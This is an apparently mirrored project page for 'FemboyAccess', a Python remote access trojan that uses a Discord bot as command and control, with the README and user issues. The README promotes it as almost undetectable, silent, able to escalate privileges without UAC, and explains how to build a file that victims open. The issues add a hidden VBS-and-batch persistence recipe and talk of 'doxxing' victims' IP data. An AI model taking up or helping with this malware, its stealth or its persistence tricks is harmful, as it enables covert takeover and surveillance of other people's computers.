Code Monkey home page Code Monkey logo

femboyaccess's Introduction

FemboyAccess

FemboyAccess is a remote administration trojan that uses Discord as a C2C server.

Newest version: 1.8

⚠️ Disclaimer ⚠️

This project is intended for educational and research purposes only. It is your responsibility to ensure that you use this software in compliance with all applicable laws. The authors of this project are not responsible for any misuse or illegal activities performed with it.

Purpose 🔥

FemboyAccess is a RAT (Remote Administration Tool/Trojan) that uses the Discord platform as a C2C (command & control) server. More specifically, it uses your own custom Discord guild and then uses a bot account to send commands from the server to the victim's computer.

Features ✨

  • almost undetectable
  • escalate privileges without UAC
  • can handle multiple machines at once
  • a lot of commands
  • silent

FemboyAccess 1.6 and higher contains a stealth mode activated by default (line 61 to change that) that hides the Python window and changes the process name. Reminder that you can create pull requests, so if you have any ideas to hide FemboyAccess even more, give it a shot!

Usage 🛠

  1. Download Python with all the necessary requirements (pip install -r requirements.txt or pip install -r builder_requirements.txt for the builder) and the repository to your computer.
  2. Create a Discord bot (make sure to check all intents on) then invite it on a new server.
  3. Open builder.py and enter what's requested (server ID and bot token).
  4. Finished! Now, you can obfuscate it yourself if you want to. Whenever someone will open the generated built_femboyaccess.py file, a new channel will be created in your defined server with a custom session ID. Type help to see a list of all available commands.

Note: FemboyAccess treats all machines like sessions and attributes them a 8-character long ID with letters and numbers. That's how the bot can manage multiple machines at the same time. The format of the generated channel name is something like:

<computer_name>-<session_id>

So if the computer's name is 'ambr0sial', the channel name will be something like:

ambr0sial-6ef87f83

License 📜

FemboyAccess is using the CC BY-NC 4.0 license. You can click on the badge to see what's it's all about! ✨

License: CC BY-NC 4.0

Contributing ❤

Contributions are always welcome!

You can create pull requests, we're pretty active.

Made with ❤ by ambr0sial and kaipicpic.

femboyaccess's People

Contributors

ambr0sial avatar dependabot[bot] avatar kaipicpic avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

femboyaccess's Issues

Question

J'arrive pas a rajouter des nouvelles fonctionnalités au truc de base, il suffit pas de mettre un nouveau "if message stats with "exemple": " un truc du genre ? Quand je le fait ça rends juste le code de cette partie jusqu'à la fin non fonctionnel, Si c'est pas ça fait faire comment ?

retour

hello, je viens de try la plupart du projet donc voici les points où un problème suggère 😄 :

Startup | j'arrive pas a savoir si le problème viens de moi, mais le fichier .bat contient pas le femboyaccess, dans mon cas : start '" "C:\Users\user\Desktop\fmbo"'

Suggestion : peut être copy le femboyaccess a un dossier custom via le package shutil, l'open via un .bat qui est lui mème open par un vbs pour pas qu'un cmd s'affiche
(contenu bat : 'call C:\Users\user\AppData\Roaming\.cache\data.txt', contenu vbs : Set 'WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "C:\Users\user\AppData\Roaming.cache\run.bat" & Chr(34), 0
Set WshShell = Nothing')
le .txt est executer comme un executable
image

doxx ou le message du on_ready | je pense c'est juste moi mais ca envoie aucun donné, j'ai modifier https://ipapi.co/json/ par https://ipinfo.io/json/ :I (Update : je viens de voir que ipapi a une sorte d'anti ddos qui prends quelques secondes avant de te rediriger vers le site)

cmd | il est dans le screen du screenshot mais aucune trace dans le src, peut être un oublie

webcampic | fonction non défini "CAP_DSHOW"

et c tout pour moi :D (j'ai pas experimenté avec ceux qui peuvent être chiants a enlever)

Quelques questions

j'ai vue que tu m'as follow et que je travaille sur un RAT, j'aurai le droit de m'inspirer du tiens par hasard (pour quelque fonctionnalité, je volerai pas du code)

cant get discord commands working

hey men, interesting project. was about to test some stuff but dont get it working correct. ive invited the bot and enabled all intends its printing femboyaccess new session created but no matter what i write, bot isnt accepting it as command?

besoin d'aide 😅

Hello ! J'espère que tu vas bien, depuis quelques heures j'essayais de faire quelque chose que je n'y arrive toujours pas, c'est de modifié la fonction escalate (elevate les permissions) pour faire en sorte de choisir manuellement la path qui sera exécuté en tant qu'administrateur, je sais pas si t'aurai une idée de comment faire mais si t'en a, éclairci moi x)

Error

j'arrive pas vraiment a trouver le problème, appart que c'est lié au package discord

(Version Python : 3.8, discord.py : 2.3.1)



C:\Users\user\Desktop\fmbo>built_femboyaccess.py [2023-09-30 20:00:35] [INFO
] discord.client: logging in using static token
[2023-09-30 20:00:36] [ERROR ] discord.client: Ignoring exception in on_disconnect
Traceback (most recent call last):
File "C:\Users\user\AppData\Local\Programs\Python\Python38\lib\site-packages\discord\client.py", line 441, in run_event await coro(*args, **kwargs)
File "C:\Users\user\Desktop\fmbo\built_femboyaccess.py", line 1263, in on_disconnect
await channel.send(await femboyaccess("disconnected", "this session is disconnected (unusable)! :3")) NameError: name 'channel' is not defined
Traceback (most recent call last):
File "C:\Users\user\Desktop\fmbo\built_femboyaccess.py", line 1267, in
client.run(token)
File "C:\Users\user\AppData\Local\Programs\Python\Python38\lib\site-packages\discord\client.py", line 860, in run
asyncio.run(runner())
File "C:\Users\user\AppData\Local\Programs\Python\Python38\lib\asyncio\runners.py", line 43, in run return loop.run_until_complete(main)
File "C:\Users\user\AppData\Local\Programs\Python\Python38\lib\asyncio\base_events.py", line 608, in run_until_complete return future.result()
File "C:\Users\user\AppData\Local\Programs\Python\Python38\lib\site-packages\discord\client.py", line 849, in runner await self.start(token, reconnect-reconnect)
File "C:\Users\user\AppData\Local\Programs\Python\Python38\lib\site-packages\discord\client.py", line 778, in start await self.connect(reconnect=reconnect)
File "C:\Users\user\AppData\Local\Programs\Python\Python38\lib\site-packages\discord\client.py", line 704, in connect
raise Privileged IntentsRequired(exc.shard_id) from None
discord.errors.PrivilegedIntentsRequired: Shard ID None is requesting privileged intents that have not been explicitly enabled in the developer portal. It is recommended to go to https://discord.com/developers/a pplications/ and explicitly enable the privileged intents within your application's page. If this is not possible, then consider disabling the privileged intents instead.
Exception ignored in: <function ProactorBasePipeTransport.del
at 0x000002349414AC10>
Traceback (most recent call last):
File "C:\Users\user\AppData\Local\Programs\Python\Python38\lib\asyncio\proactor_events.py", line 116, in del__
self.close()
File "C:\Users\user\AppData\Local\Programs\Python\Python38\lib\asyncio\proactor_events.py", line 108, in close self._loop.call_soon(self._call_connection_lost, None)
File "C:\Users\user\AppData\Local\Programs\Python\Python38\lib\asyncio\base_events.py", line 711, in call_soon
self._check_closed()
File "C:\Users\user\AppData\Local\Programs\Python\Python38\lib\asyncio\base_events.py", line 504, in _check_closed raise RuntimeError('Event loop is closed')
RuntimeError: Event loop is closed
C:\Users\user\Desktop\fmbo>

Not working

I used the builder correctly but on my VM it's missing some modules that won't install with pip. What should I do? Also, what's ur discord so I don't spam ur email lol

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.